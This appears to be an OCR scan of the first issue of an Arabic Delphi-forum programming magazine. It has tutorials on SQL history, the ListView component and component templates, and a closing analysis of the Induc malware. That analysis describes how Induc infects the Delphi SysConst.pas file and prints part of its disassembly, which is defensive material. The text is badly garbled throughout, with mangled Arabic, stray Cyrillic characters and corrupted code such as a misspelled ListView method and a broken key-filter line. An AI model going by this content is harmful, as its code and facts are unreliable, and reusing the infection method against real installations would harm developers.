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| Lá |. Me 
Haig!  ءاضا مجلة شهرية تهايمية من انجاز‎ 


العدد الأول 


lag mes‏ العدد 


, افتتاحية. 

, قواعد البیانات: الاستعلام SQL‏ 

, مگونات دلفق: مكون ListView‏ 
, دلفق: إعادة الاستخدام фаз фа‏ 

, تحلیل البرمجیات : استهداگ pila‏ 


an All ر كمرين‎ 


افتتاحية 


Ailla ALS Atla‏ و ديلفاق مهما اختلف لفضه أوامره واحدة. 


قام اليوم Jol‏ يونيو ele‏ منتدق Nåla‏ للعرب aac Jal janu‏ من مجلة 
المنتدق, و Aa‏ عبارة عن مجلة شهرية تعليمية تعالج مواضيع البرمجة و التحليل 
Sr yall‏ بطريقة سهلة, سلسة g‏ هادفة. 


يستطيع أعضاء المنتدق المشاركة AA‏ المواضيع الشهرية باررسال 
الموضوى MI‏ إدارة المنتد3 قبل أسبوعين من وقت уйш‏ العدد. 

المواضيع يجب أن تگون خفیقق غير سطحية و هادفة تعالج أفكار 
التعامل مع fala‏ فقي كل الاختصاصات. 

مدعومة بصور و مكتوبة باللغة العربية القصحة مع إمكانية کتابة 
المصطلحات باللغة الإنكليزية فقط. 

ترجمة مصادر dust‏ مقبولة مع الزامية ذكر المصدر. 

تحتفظ إدارة المنتد gry‏ قبول أو رفض مشاركة illa Ad‏ تكرار الموضوى 
أو Jai‏ الموضوى من منتديات أخراق. 

تمنح المجلة الا شهار المجاناٍ للبرامج المنجزة من طرف أعضاء المنتدا 
مخ .43 الإمتناع و التحفظ. 


مشاركتك تهمنا و بها نضع لبنات eli‏ صرح Raye‏ للبرمجة. 


الكاتب : إدارة المنتدى 


قواعد البيانات 


MI Jiao‏ لغة الاستعلامات البنيوية رالجزء الأول 
Introduction to Structured Опегу Language‏ 


(Part One) 


kachwahed : بقلم‎ 


SQL‏ نظرة تاريخية: 


jgh‏ شركة IBM‏ لفق SQL‏ علق يد Donald D. Chamberlin‏ و 
Raymond F. Boyce‏ بداية عام 1970 وگانت آنذاك تدعق SEQUEL‏ 
وموجهة لمعالجة واستخراج البیانات من منتجات قواعد البیانات العلائقية 

IBM لشركة‎ 


خلال عام 1970 قامت مجموعة من مبرمجيٍ شرگة IBM‏ بتطویر نظام قواعد 
بيانات علائقية System В Asa‏ حینها قام Donal D.‏ و Raymond F.‏ بتطویر 
dalla! SEOL gi Structured English Query Language‏ وتسییر البيانات 


1976 كان ذلك عام‎ System R قواعد البيانات‎ albi 


من أوائل نظم قواعد البيانات كار RDMS‏ تطوير شركة MIT‏ عام 1970 تبعتجا 
Ingres‏ عام 1974 .U.C.Berkeley A4‏ وهنا أدرجت Ingres‏ أداة للاستعلام 


عن البيانات عرفت حينها باسم Aill QUEL‏ اشتهرت فيما بعد SOLAAL‏ 


بعد ذلك. قامت Oracle) Relational Software, Inc.‏ حالیا) بتطوير لغة 
SQL‏ خاصة &o Lay‏ اعتماد Halo‏ تصميم قواعد البيانات العلائقية Al‏ وضعها 
Chamberlin, Boyceg Codd‏ . أصدرت Jai Relation Software, Inc.‏ 
aiio‏ تجار يدعم لغة SQL‏ صيف 1979 عرف Oracle v2 дшш‏ الاصدار 2( 


الخاص بحواسيب ‚МАХ‏ 


بعد عرض لغة SOL‏ علق المتعاملين لتجربتها واكتشاف فعاليتها, شرعت IBM‏ 
بتطوير منتجات تجارية اعتمادا علق نظام قواعد البيانات System R‏ كنموذج 
AA Los Mal‏ ذلك 5۷5۲6۳۱/38 501/05 و 082 خلال السنوات 1979( 21981‚ 
3 علق الترتیب. 


ما Ad‏ لغة الاستعلامات البنيوية SQL‏ 


A‏ الاستعلامات البنيوية SQL gi Structured Query Language‏ اختصارا 
روتقراً sul‏ كيو JS!‏ أو سيكوال» drow dil Rd‏ قياسية fo JolAill‏ قواعد 
البيانات العلائقيق aoui‏ هذه اللغة باجراء Aliio‏ العمليات Ме‏ قاعدة 

„alla фа Los البيانات,‎ 


V‏ الاستعلام عن البيانات : الحصول M Ale‏ إحصاء gly‏ معلومة) حول البيانات 


V‏ التحكم فم البیانات: chal‏ عمليات 9 dale‏ الحذف. التحديث 


V‏ التحكم Ad‏ الصلاحيات: انشاء المستخدمين حسابات التسجيل مع تحديد 


‘SQL dil أقسام‎ 


يمكن تقسيم تعليمات لغة 501 ال ثلاث أقسام رئيسية وقسمين آخرین أولها 
تعليمات تعريف البيانات وتتلخص Аа‏ تعليمات إنشاء وحذف عناصر قاعدة 
بیانات: الجداول, الحقول, المفاتيح. الفهارس القیود.... القسم الثاني تعليمات 
معالجة البيانات وتشمل كل ما يتعلق بالسجلات من إضافة. حذف وتحديث. 
القسم الثالث تعليمات الصلاحية وتتعلق بتحديد الصلاحيات وحدود الإستغمال. 
قسم آخر يتمثل Aå‏ تعليمات تسيير المعاملات (Transactions,‏ ويسمح 
بالتحكم Aå‏ طريقة إرسال الاستعلامات Ale‏ شكل دفعات أو صفقات (سنتحدث 
عن ذلك May‏ بالأمثلق» ويضيف آخرون قسم تعليمات SQL‏ المدمجة 
(Embedded SQL)‏ ومن أمثلتها: 


SET, DECLARE CURSOR, OPEN, ЕЕТСН... 
SQL آخر. كما تختلف تعليمات‎ MI ` RDBMS من‎ SQL تختلف تعليمات‎ Lash 
MySQL, Access, dBase, FoxPro, قواعد البيانات الملفات, مثل:‎ abi بين‎ 


Jio قواعد البيانات من الشكل عميل/ خادص‎ abi وبين‎ Paradox, Approach 
Sybase ,Oracle, SOL Server, Informix, DB?2, Interbase, 4D, 
PostgreSQL 


c Relational Database Management System '‏ نظام تسيير ael‏ البيانات العلائقية. 


الجدول MEN‏ يخلص أهم التعليمات البرمجية фа‏ لغة SQL‏ 


جدول 1: أنواى التعليمات البرمجية للغة SQL‏ 


keywords 


تعليمات معالجة البيانات 


Data Manipulation Language (DML) 


تعليمات تعريف البيانات 


Data Definition Language (DDL) 


تعليمات التحكم في تدفق البيانات 

Transaction Control Language (TCL) 
تعليمات التحكم في الصلاحيات‎ 

Data Control Language (DCL) 


Type of SQL 


SELECT 
INSERT 
UPDATE 
DELETE 
MERGE 
CREATE 
ALTER 
DROP 
RENAME 
TRUNCATE 
COMMENT 
COMMIT 
ROLLBACK 
SAVEPOINT 
GRANT 
REVOKE 


eSQL نتعلم‎ lalol 


معظم محرگات قواعد البيانات acai‏ لغة SQL‏ مع اختلافات صغيرة في القواعد 
النحوية للمعيار المحدد. تعلمك لغة SOL‏ يفتح لك آفاقا واسعة ويجعلك قادرا 
علق التعامل مغ dul‏ قاعدة بيانات مصممة بأحد البرامج التالية: 


Oracle, Microsoft SQL Server, Microsoft Access, MySQL, 2 
(IBM Data Server), Informix, PostgreSQL, Sybase, Microsoft 
Visual FoxPro, NonStop SQL, Dataphor, Teradata, 4th 
Dimension, SQLBase, CSQL, FileMaker PRO, Helix Database, 
ODBC, Ingres, MonetDB, MaxDB, H2, MaxDB, VMDS, 
Openbase, eXtremeDB, Interbase, OpenEdge ABL, SmallSQL, 
Linter SQL DMBS, Derby, Adabas D, Greenplum Database, 
HSQLDB, AlphaFive, One$DB, ScimoreDB, Pervasive PSQL, 

DB, Daffodil database, solidDB...‏ 120115 0وغيرها 


معابير لغة SQL‏ 

American National Standards كلغة قياسية من طرف‎ SOL لغة‎ Rid نم‎ 
International ومن طرف‎ .SOL-86 عام 1986 تحت اسم‎ ANSI gi Instit e 

.1987 عام‎ ISO أو‎ Organization for Standardization 

National Institute of Standards and غاية 1996 قام معهد‎ MI 


(NIST gl) Technology‏ باعتماد SQL DBMS‏ كلغة SQL‏ القياسية. 


الجدول pal AM‏ المغايير الشائعة للغة SQL‏ 
جدول 2: المعايير القياسية المعتمدة SQL dal Aa‏ 


العام 


1986 


1989 


1992 


1999 


2003 
2006 


2008 


50-2 


SOL:1999 


SQL:2003 
SQL:2006 


SQL:2008 


الاسم 
المستهار 
SQL-87‏ 
FIPS 127-‏ 
1 

SQL2, 
FIPS 127- 
2 

SQL3 


ANSI من طرف‎ SQL اعتماد للغة‎ Jal 


اصدار منقح, لدعم 127-1 FIPS‏ 


(ISO 9075) $5 ÀÍ مراجهات.‎ 


ادراج العبارات القياسية الارتباط 
الاستعلامات الدوريق القوادح... 

دعم XML‏ الحقول التعريقية... 
امکانية دمج М!ХМЇ‏ استعلام SQL‏ 
دعم XQuery‏ وغیر lla‏ .. 

إدراج INSTEAD OF‏ للقوادح. اضافة 


TRUNCATE‏ وغير ذلك... 


MI‏ اليوص لا args‏ نظام تسيير قواعد بيانات يطبق معيار SQL‏ بحذافره! M‏ حين 
هناك العديد من pbill‏ تملك لهجة dali SQL‏ بهاء Aito‏ أنها تضيف عبارات 
غير متوفرة في معيار SQL‏ أو تستخدم نفس التعليمات الواردة في المعيار 
بقواعد نحوية مختلفة. أمثلة: 


90۱-92 يستخدماز معيار‎ MS SQL Server 97g Paradox 7 


90۱-89 يستخدماز المعيار‎ Oracle و8‎ MS Access 7 


مميزات لفة ‘SQL‏ 
ما يميز SQL dA!‏ عن بقية لغات البرمجة أنها dA!‏ تصريحية (Declarative)‏ أي 
ШЇ‏ باستعمالها نكتب ما نريد معرفته أو الحصول عليه والمترجم هو aau fall‏ 
كيف Mag‏ طريقة يتم تنفيذ ذلك. фа‏ حين لغات البرمجة الأخرق aai”‏ نمطية 
M (Procedural)‏ أن المبرمج عليه أن يكتب كل التعليمات البرمجية اللازمة 
لتحقيق المطلوب. 


باختصار يمكن أن نلخص дё‏ خصائص لغة Al Load SOL‏ 


AAT,‏ قياسية: Ai‏ ذات yul&o‏ موحدة تستخدم فقي معظم dobil‏ تسییر 
قواعد البيانات العلائقية, وهو ما aouu‏ بالانتقال من MI RDBMS‏ آخر مع 
الإحتفاظ بنفس تعليمات SOL‏ المشتركة. 


, سريعة التنقید واستهلاك JÄ‏ للموارد: حيث يتكفل المترجم بتنفيذ 
الاستعلامات بشكل Mila‏ وسريع ودون تدخل من البرنامج المرسل 
للإستعلام؛ nidi,‏ الاستهلام säg AA‏ قیاسخ وباستهلاك أقل لموارد 
الجهان ويتكفل مترجم SQL‏ بترتيب تنفيذ الاستعلامات بشكل Nols‏ 
وحسب الأولويات, Kado‏ ميزة فريدة فق الأنظمة عميل/خادم. 

SOL ,‏ غير حساسة ШЫ‏ الأحرف ر :(Non-case-sensitie‏ يمكن 
استخدام أحرف كبيرة gi (Uppercase)‏ حرف صغيرة (Lowercase)‏ 


4 كتابة الإستعلامات دون التأثير Ме‏ الناتج. Jis‏ اصطلاحا كتابة 


7 نقصد بذلك لغات البرمجة المعروفة مثل: Java «Assembler «Pascal «C‏ .. 


تعليمات لغة SQL‏ بالأحرف الكبيرة للتمييز بينها وبين أسماء كائنات 
قاعدة البيانات (الجداول والحقول وغير (dia‏ 


. لغة SOL‏ الفهم والاستعمال: SOL dal‏ سهلة التعلم الاستخداص ولا 
تتطلب أية معارف مسبقة dil Ma‏ برمجة؛ إذ يمكن M)‏ عامل фа‏ الشركة 
بعد مطالعة درس بسيط حول SQL‏ أن يكتب استعلام لمعاينة البيانات. 


المراجع: 
SOL Fundamentals (3rd Edition) v‏ 
Wikipedia: Structured Query Language у‏ 
Developez.com: Le SQL de A à Z v‏ 


Айз عن مكونات‎ йэш 
ListView مكون:‎ 

AL-MOBARM3G بقلم:‎ 

سيتم yga‏ الله شرح بعض و pel‏ خصائص مكون ال ila &à ListView‏ 
المگون هو من المكونات المهمة ,كثيرا ما نرق برامج تستخدم هذا المگون و 
الحقيقة انه من المكونات الأساسية فا Nåla‏ به كثير من الخصائص المهمة 
Aill‏ سنتطرق إليها AA‏ الأسفل إن شاء الله ‚Ма:‏ بالإضافة М‏ ذلك فمنظره 
جميل و شكله رائع. 


фа‏ الدلفق, وتحت عنوان ال Win32‏ كما فق الصورة التالية, 


=| Win32 
ListView يحمل العنوان‎ fall المكون‎ ax 
[S] Tlistview | 
dE] THeaderControl 
un TStatusBar Name: TListView 
Unit: ComCtrls 
(Ol? TToolBar Package: dclstd140.bpl 


D TCaalRar 


نضغط عليه ونضعه Ale‏ القورم An.‏ نبداً العب به و التجريب dad‏ 


> > ә 
» ә 
ي‎ EER EE FEO 9 ӨӨ Ө ` EK Ө 9 а 9 8 9 WP ee p — 


من لوحة الخصائص ax‏ أن لهذا المكون كثير من الخصائص, منها من نعرفها AA‏ 
مكونات أخرق Jip‏ الخاصية Align‏ و الخاصية Anchors‏ و الخاصية 
Les! BidiMode‏ ومنها من هو جديد AS‏ الخصائص ViewStyle Ji.‏ و 


gGridlines‏ آمور أخرق أيضا, 


Action ^ 
| Align їп} alNone d 
| AlignWithMargins False Г 
AllocBy 0 

+1 | Anchors [akLeft,akTop] 

+1 BevelEdges [beLeft,beTop,beRight 
|BevelInner bvRaised 
BevelKind bkNone 
BevelOuter bvLowered 
BevelWidth 1 
|BiDiMode bdLeftToRight 
BorderStyle bsSingle 
Border Width 0 
Checkboxes False ies 


نبداً مع أهم خاصية لهذا المكون, إلا fads‏ خاصية ال Items,‏ ومن lie‏ لم Roun‏ 
أو يستخدم هذه الخاصية؟ لا AAI läs‏ العزيز ان لم تكن تعرفها, فبعد هذا 
الدرس البسيط فستعرف كيف تتعامل معها بالتأكيد, تابعوا معنا جزاكم الله 


2010 diul شهر: يونيو‎ 01 aac 


التالية, 


New SubItem 


Delete 


هنا sel‏ الخصائص АШ Me‏ نم تعلیمجا sall‏ الأصفر, 
نضغط New Item Ме‏ وبعدها نكتب شق Jol Аа‏ سطر AE Aå,‏ سطر 
يمكننا وضع صورة An‏ تظهر بجانب الكلمة Aill‏ كتبناها Mel M‏ لكن يجب 
Jing Wel lide‏ المكون بمكون An imagelist‏ نتمكن من ذلك, 


ilo‏ منتدق Nåla‏ للعرب 


2010 diul شهر: يونيو‎ 01 aac 


Item Properties 


New Item Caption: www.delphi4arab.com 


New Subitem Image Index: 0 


gon نا‎ + 


يمكن إضافة الكثير من items (Jl‏ الأسطن lar lagg‏ سهل ويسير, اضغط 


hää‏ علق apply‏ ومن ثم علق new item‏ مرة أخرق واعد الكرة من جديد, 


بعد الانتهاء من إضافة ال Items‏ اضغط OK Ме‏ و النتيجة фа Lio‏ الصورة 


التالية, مخ مراعاة أن الكلمات ربما مختلفة, 


Delphi... Delphi 4 Arab ۰ 


طيب, سنضبط بعض الخصائص بهذا المكون, من لوحة الخصائص نختار 


6 شللخاصیقع۱ ۱۷۱۵۷۷۲۷ 


ilo‏ منتدقٌ ala‏ للعرب 


» |ViewStyle ilvsReport [n 


اختفت الكلمات Аш!‏ أضفناها من المكون, لأسف, COlumn näi‏ وهذا هو 
السبب, 


تابعوا Pro‏ كما فق الصورة التالية, 


ListView 1‏ نس 


ы Colum Columns Editor... 
رگ‎ Group Items Editor... 


Groups Editor... 
Edit > 
Control › 


Stay on Top 
v  Dockable 


نضيف Column‏ بالضغط علق الصورة فقي М1‏ اليسار, 


و النتيجة كما à‏ الصورة التالية, 


Delphi4Arab 
Delphi 
4 


Arab 
www.delphi4arab.com 


خاصية آخرا جميلة هل خاصية ال aisg SOrtType‏ من خلالها عمل M Sort‏ 


ترتيب ال Items‏ حسب الأرقام Wel‏ ثم الأحرف الأبجدية, 


( strexd _ [*] 


1 


Delphi 
? DelphidArab 1 
www.delphidarab.com 


ears HEB О 


والنتيجة كما фа‏ الصورة التالية, «هنالك Ме Grid‏ المكون Jl‏ 


Р ی‎ 4 
4 
Arab 
Delphi 

 Delphi4Arab 1 
www.delphi4arab.com 

à a а 


أيضا خاصية MultiSelect‏ قد نحتاجها, 


N د‎ 


وكما هو وأضح من الاسم أنها تتيح لنا أن نختار أكثر من фа Item‏ نفس الوقت, و 


الصورة توضح النتيجة, 


لمم ومو مواقي 


www.delphi4arab.com 


وقبل النهاية من هذا المكون دعونا نذكر بعض لأكود المچمة لهذا المكون, 


Шм‏ گم aac‏ ال &à Items‏ المكون 
كود : 


ListViewl.GetCount; 
المحدد,‎ item لحذف ال‎ 


: كود‎ 
ListViewl.DeleteSelecteg; 


لتنظيف المگور من كل ITEMS JI‏ 


كود : 


ListViewl.SelectAll; 


لجلب رقم ال index‏ لل Item‏ المحدد, 
كود : 


ListViewl.ItemIndex; 


وغيرها الكثير يمكن أن تكتشفونها بأنفسكم, لا تنسوا ان تلقوا نظرة Ме‏ المثال 
‚ЖА шый!‏ نلقاكم مخ مگور Aa aa‏ عدد القادم إن شاء الله. 


إعادة الاستخدام $4 Aala‏ 


بقلم: خالد شقروني 


إحدق المزايا Аш!‏ تقدمها Nåla‏ عند «Шш‏ واجهات الاستخدام A‏ سهولة 
انشاء توليقة مكونات أو شاشات سابقة الاعداد وإعادة استخدامها داخل 
نماذج الشاشات أو AA‏ مشاريعنا كلما احتجنا لها دون الحاجة الق إعادة 


Aas Mls هذه السلسلة سنتحدث عن ثلاث تقنيات تقدمهما‎ MA 
Component Template قوالب المكونات‎ 1 
Frames الإرطارات‎ 2 


3- مستودعات النماذج Repository‏ 


الجزى الأول: قوالب المكونات 


قالب المكونات عبارة عن تركيبة من مكون واحد أو أكثر من المكونات المتاحة 
لدينا AA‏ شريط المگونات. نقوم alach‏ هذا التركيبة باختيار المكونات 
وتحديد خصائصها و ملامحها وكتابة الكود الذي نحتاجه Аа‏ أحداثها. ثم تقوم 
Ala‏ بحفظها كقالب مكونات وتضيقه MI‏ شريط المكونات Component‏ 


Palete‏ كمكون جديد يمكن إعادة استخدامه لإاحقا. 


مثلا: 


كثير AA aliu Lip‏ نماذج الشاشات لزر buttn‏ مكتوب علبه لتهموافولته أو 
55g ОК‏ آخر مكتوب عليه لتهإلغاء الأمرلته أو Aag Cancel‏ كل مرة نعيد تحديد 
نفس الخصائص لهذه الأزرار من حجم وكتابة وكود. ألا یگون مجديا أكثر لو lied‏ 


بتحديد pilai‏ هذه الأزرار die‏ واحدة؟ و أن نعيد استخدامها جاهزة كلما 


احتجنا إليها دون تكرار الجهد؟. 

لتحقيق ذلك : dagy fou‏ الخطوات البسيطة. 

بعد أن laai‏ مشروعا Ме dayan‏ النموذج FOrM1‏ نقوم MUL‏ : 
RE‏ مكون TBUN‏ وتكون خصائصه کالتال۸: 


Name = btOK 


Caption = &OK 


1 الشكل‎ Ad كما هو واضح‎ OK و الكتابة عليه ستكون‎ btOk dosul أن الزر‎ M 


Form 


Object Inspector 


[к  Tewton لك‎ 


Properties | Events | 


Bok 
(TSizeConstrain — 
crDeFault 

False 

erDrag 

dkDrag 

dmiManual 

True 

iTFont} 

25 

ü 


heConkext 
23 


mrNone 
bek 


Caption 
Constraints 
Cursor 
Default 
DragCursor 
Draakind 
DragMode 
Enabled 
EdFont 
Height 
HelpContext 
Helpkeyword 
HelpType 
Hirt 
Left 
MadalResult 
Name 


ParentEiDiMode True 


All shown 


الشكل رقم )1( 


: للزر نكتب التعليمة التالية‎ OnClick الحدث‎ Ads 


كما هو M4‏ الشكل 2 


Close; 


B Unitî .pas 


5 sl TFom1 
L1] Variables/Constsnt end: ^ 
Uses 


E Unit 1 


шаг 
Formi: 


Tormi: 


impl ement at. inn 


CIR *. arm} 


procedure TForml.6ptOkClick (Sender: Tob ject! : 


hegin 


Close; 
end; 


Object Inspector 
LLO« 
Tobjecci: 


Properties Events | procedure TForml.otCantel¢lick Sender: 


begin 
Acticn 


Click. atOkrlick | : pm 
олоп! ЕРор! 

2۳20 نادت 

OnDracOver 


о 31: 1] Mcditied Tisert Lode {Diagram / 
1» Enler 

OnEziE 

Onkey Down 


CnokeyPrers 


Al shown 


الشكل رقم )2( 
ونكرر Ro sell‏ مكون TButtn‏ آخر, تكون خصائصه: 


Name = btCancel 


Caption = &Cancel 


: نكتب التعليمة التالية‎ OnClick sawl Aag 

Close; 
الفأرة واحاطة الزرين بمربع الاختباى ثم من‎ Me AIL) الآن نقوم باختيار الزرين‎ 
Create Component ثم‎ Component نختار‎ A#la A4 خلال إئحة الأوامر‎ 


(3) كما ف الشكل‎ Template 


2010 diul شهر: يونيو‎ 01 aac 


[> Delphi 6 - Project1 


File Edit Search view Project Run | Component Database Tool Eurskalag 
New Component. , 


De- 8 ١ 8 5 ses | 
3 Install Component... 


a a | pl | а “Sl Import Activex Control... 


Create Component Template... 


1 Install Packages... 


Configure Palette. .. 


B‏ لا 
Ok Cancel |‏ 


الشكل )3( 


سيظهر لنا مربع حوای نكتب فيه اسم القالب وليكن TOkCamcel‏ واسم 
الصفحة M‏ شريط المكونات ولتكن MyTemplate‏ كما في الشكل (Ay‏ 


le Form1 


= u 
Ok | Сапсе! | 


Component Template Information 


Component name: [rokCancel 
Palette page: IMyTemplate -| 


Palette Icon: لثما‎ Change... | 
| Cancel | Help | 


(Ay الشكل‎ 


ilo‏ منتدقٌ ala‏ للعرب 


الآن لو Rally‏ شریط المكونات سنجد صفحة جديدة باسم My Template‏ 
وفيها أيقونة لقالب المكون الذي أنشأناه. لو اخترنا هذه الأيقونة ووضهناها Ale‏ 
نموذج الشاشة form‏ سوق تقوم Jala‏ بوضع مكونين من Tbuttn‏ بحسب 
المواصفات Aill‏ حددناها & القالب و سنجد أيضا نسخة من الكود الذي سبق 
diaaa sig‏ قي حدث OnClick‏ لكل زر. 

وبذلك كلما أردنا ثنائي أزرار لتهمواقولته و للهالغاء الأمرلته Ме‏ أي فورم 
نستخدم هدا القالب 


لنأخذ مثالا XI‏ 

نحتاج Lála‏ أن نضع مكونات TLabel‏ و A4 TEdit‏ شاشات إدخال وعرض 
البيانات, ويزداد aac‏ هذه المكونات كلما ازداد aas‏ عناصر البيانات المراد 
إدخالها أو عرضها. وضع dad‏ المكونات ثم تنظيمها ومراعاة تراصفها 
ومحاداتها وتناسق أحجامها يعد عملا متعبا و مملا. باستخدام قوالب المكونات 
يمكن أن نختصر الكثير من الجهد. 


RE;‏ ثلاث أو أربعة أو Aa‏ عشرة أزواج من مكونات TEdit‏ و TLabel‏ و نقوم 
بتنسيق أبعادها كما هو $4 الشكل )5( 


lé Form1 Seles 


ثم نختارها كلها و نكون منها قالبا جديدا نسميه cli TLabelEdit‏ الخطوات 
في المثال السابق باستخدام الأمر «Create Component Template‏ 
ونحفظها A4‏ نفس صفحة A4 MyTemplate‏ شريط المگونات. الآن وبهذا 
القالب يمكننا وضع أزواج Label‏ و Edit‏ بأعداد كبيرة وتنسيقها بسرعة أكبر. 


قبل أن نختم هدا الجزء لننظر فقي استغلال آخر لقوالب المكونات. 


ستقوم بانشاء قالب مكونات يحوي مگونا واحدا فقط وهو TEdit‏ و نجهل 
إدخالاته مقتصرة Ме‏ العداد فقط. Ai‏ أن المستخدم يمكنه إدخال أرقام فقط 
داخل مكون الكتابة دون الأحرف والعلامات الأخرق. 


نضع مكون TEdit‏ علق النموذج form‏ وداخل OnKeyPress saa‏ نگتب 
الكود التالقي: 
procedure TForml.Edit1KeyPress (Sender: TObject; var‏ 
Key: Char);‏ 
begin‏ 
eim‏ ©" وی ۲۱۵۲ ]| ie MOE (Key in‏ 


Key := #0; 


end; 


نقوم بحفظ القالب بنفس الخطوات التي سبق توضيحها. وبذلك كلما احتجنا М‏ 
مربع كتابة للأرقام فقط نستخدم هذا القالب الذي سيعطينا مگونا سابة 
التجهيز رفق الكود اللازم. 


تحلیل البرمجيات : استهداف Ada‏ 


STRELITZIA بقلم:‎ 


t 


بعد مرور سنة Ме‏ اكتشاف البرنامج الضار المصنف INduC‏ مازلت آثاره تظهر 
من MI did‏ أخرق برسائل تنبيه من goly‏ الحمایق طبعا لم يصدر تحديث 
للبرنامج الضار эзе‏ تلك الفترة. 

السؤال المطروح هو ما مدا إمكانية زرى أوامر خبيثة A4‏ الملفات المصدرية 
الخاصة ببيئات البرمجة Ail claw‏ أو غيرها؟ و الا جابة كانت مروعة, حيث لم 
يتم كشف البرنامج الضار إلا بعد أكثر من digi‏ أشهر من انتشاره g‏ تلويث أكثر من 
Apl digi‏ جهاز حسب تقارير مخابر برامج الحماية. 

Induc‏ يضعنا تحت خيار صعب. هل يجب أن ай‏ في المكونات الجاهزة المنتشرة 
دون ملقاتها المصدریة؟ الا جابة sch‏ من aal‏ الخبراء العرب DeltaAziz‏ 
sur‏ قال أنه صادف من قبل مگونات كانت تحتو Ме‏ آوامر diu‏ تنفذ دون ple‏ 
مستعملها, لذا يجب الحذر фа‏ استعمال المكتبات الجاهزة g‏ محاولة التحميل من 


مواقع رسمية. 


: التلوث‎ dall 


-1 


2 


3 


عند تشغيل ملف مصاب يبدأ البرنامج الضار بالتحقق من وجود Ale Afla‏ 
الجهاز بالبحث في سجل النظام Windows Registry‏ عن مقتاح uti‏ 
pals‏ 
Ad‏ حالة وجوده يبدأ في قراءة Aill RootDir dowd‏ تحتوي Ale‏ مسار 
تثبيت Afla‏ و die‏ يتوجه NI‏ مجلدين lib‏ و ر source‏ ثم rtl‏ ثم (SYS‏ 
يقوم بالتحقق من وجود ملف Аа‏ مجلد Joas lib‏ اسم sysconst.bak‏ أن 
وجده لا يتم تلويث الجهاز g‏ يعتبر dil‏ قد نم تلويثه من قبل و إن لم ay‏ 
الملف المذكور يبدأ عملية التلويث. 
يقوم بفتح الملف A4 SysConst.pas‏ مجلد ) source‏ ثم ГЇЇ‏ ثم (SYS‏ و 
يبحث عن كلمة implementaion‏ و تحتها يبدأ في كتابة الأوامر الخبيثة. 
بعدها Jii‏ الملق الملوث lib alao АМ! sysconst.pas‏ و يقوم بعمل 
compilatm‏ باستعمال dcc32.exe‏ لیحصل As‏ ملف جديد 
sysconst.dcu‏ و يقم بحفظ الملف Ае!‏ الغير ملوث sysconst.dcu‏ 


.sysconst.bak gal 


0040529С 35 PUSH EBP 

0040529D 8BEC MOV EBP, ESP 

0040529F 81C4 DCFEFFFF ADD ESP, -124 

004052A5 53 PUSH EBX 

004052A6 56 PUSH ESI 

004052A7 32300 XOR ЕАХ,ЕАХ 

004052А9 8985 E4FEFFFF MOV DWORD PTR SS: [EBP-11C],EAX 
004052AF 8985 ۳ MOV DWORD PTR SS: [EBP-120],EAX 
004052B5 8985 DCFEFFFF MOV DWORD PTR SS: [EBP-124],EAX 
004052BB 8985 ۳ MOV DWORD PTR SS: [EBP-118],EAX 
004052C1 8985 FOFEFFFF MOV DWORD PTR SS: [EBP-110],EAX 
004052C7 8985 ECFEFFFF MOV DWORD PTR SS: [EBP-114],EAX 
004052CD 8945 F4 MOV DWORD PTR SS: [EBP-C],EAX 
004052D0 8D75 F8 LEA ESI,DWORD PTR SS: [EBP-8] 
004052D3 32300 XOR ЕАХ,ЕАХ 

004052D5 55 PUSH ЕВР 

004052D6 68 41544000 PUSH Induc_vi.00405441 

004052DB 64:FF30 PUSH DWORD PTR FS: [EAX] 

004052DE 64:8920 MOV DWORD PTR FS: [EAX], ESP 
004052E1 B3 34 MOV BL,34 

004052E3 8D45 FC /LEA EAX,DWORD PTR SS:[EBP-4] 
00405256 50 PUSH EAX 

004052E7 68 19000200 PUSH 20019 

004052EC 6A 00 PUSH 0 

004052F3 8D85 ECFEFFFF LEA EAX,DWORD PTR SS: [EBP-114] 
004052F9 8BD3 MOV EDX, EBX 

004052FB E8 7CE8FFFF CALL Induc vi.00403B7C 
00405300 FFB5 ECFEFFFF PUSH DWORD PTR SS: [EBP-114 
00405306 68 7C544000 ^ | PUSH Induc vi.0040547C j ASCII ".O" — — 
00405308 8D85 FOFEFFFF LEA EAX,DWORD PTR SS: [EBP-110] 
00405311 BA 03000000 MOV EDX,3 

00405316 E8 55E9FFFF CALL Induc_vi.00403C70 
00405318 8B85 FOFEFFFF MOV EAX,DWORD PTR SS: [EBP-110] 
00405321 E8 EGE9FFFF CALL Induc_vi.00403D0C 
00405326 50 PUSH EAX 

00405327 68 02000080 PUSH 80000002 

00405326 E8 08818888 [CALL «JMP.&advapi32.RegOpenKeyExA» | 
00405331 85C0 TEST EAX, EAX 

00405333 OF85 D8000000 JNZ Induc_vi.00405411 

00405339 C706 FF000000 MOV DWORD PTR DS:[ESI],OFE 
0040533F 56 PUSH ESI 

00405340 8D85 F5FEFFFF LEA EAX,DWORD PTR SS: [EBP-10B] 
00405346 50 PUSH EAX 

00405347 56 PUSH ESI 

00405348 6A 00 PUSH 0 

00405348 68 80544000 | PUSH Induc vi.00405480 ^ ; ASCII "Rootbir" | ^ ^ 
0040534F 8B45 FC MOV EAX,DWORD PTR SS: [EBP-4] 
00405352 50 PUSH EAX 

00405353 E8 FOFOFFFF [CALL «JMP.&advapi32.RegQueryValueExA» — 
00405358 85C0 TEST EAX, EAX 

0040535A OF85 0 JNZ Induc_vi.00405408 

00405360 8D45 F4 LEA EAX, DWORD PTR SS: [EBP-C] 
00405363 E8 20E7FFFF CALL Induc_vi.00403A88 
00405368 C706 01000000 MOV DWORD PTR DS:[ESI],1 
0040536E EB 24 JMP SHORT Induc_vi.00405394 
00405370 8D85 E8FEFFFF /LEA EAX,DWORD PTR SS: [EBP-118] 
00405376 8B16 | МОУ EDX, DWORD PTR DS: [ESI] 
00405378 829415 F4FEFFFF |MOV DL,BYTE PTR SS: [EBP+EDX-10C] 
0040537F E8 ۳ CALL Induc_vi.00403B7C 
00405384 8B95 ESFEFFFF MOV EDX,DWORD PTR SS: [EBP-118] 


004053۳ FF75 4 PUSH DWORD PTR SS: [EBP-C] 


0040538A 8D45 F4 |LEA EAX, DWORD PTR SS: [EBP-C] 
0040538D E8 26E8FFFF [CALL Induc vi.00403BB8 
00405392 FFO6 | INC DWORD PTR DS: [ESI] 
00405394 8B06 MOV EAX,DWORD PTR DS: [EST] 
00405396 808605 F4FEFFFF 00 ||CMP BYTE PTR SS: [EBP+EAX-10C],0 
0040539E ^ 75 DO ۱022 SHORT Induc vi.00405370 
004053A0 68 90544000 PUSH Induc_vi.00405490 
004053A5 FF75 F4 PUSH DWORD PTR SS: [EBP-C] 
004053AD 8D85 E4FEFFFF LEA EAX,DWORD PTR SS:[EBP-11C] 
00 3 ВА 03000000 |MOV EDX,3 

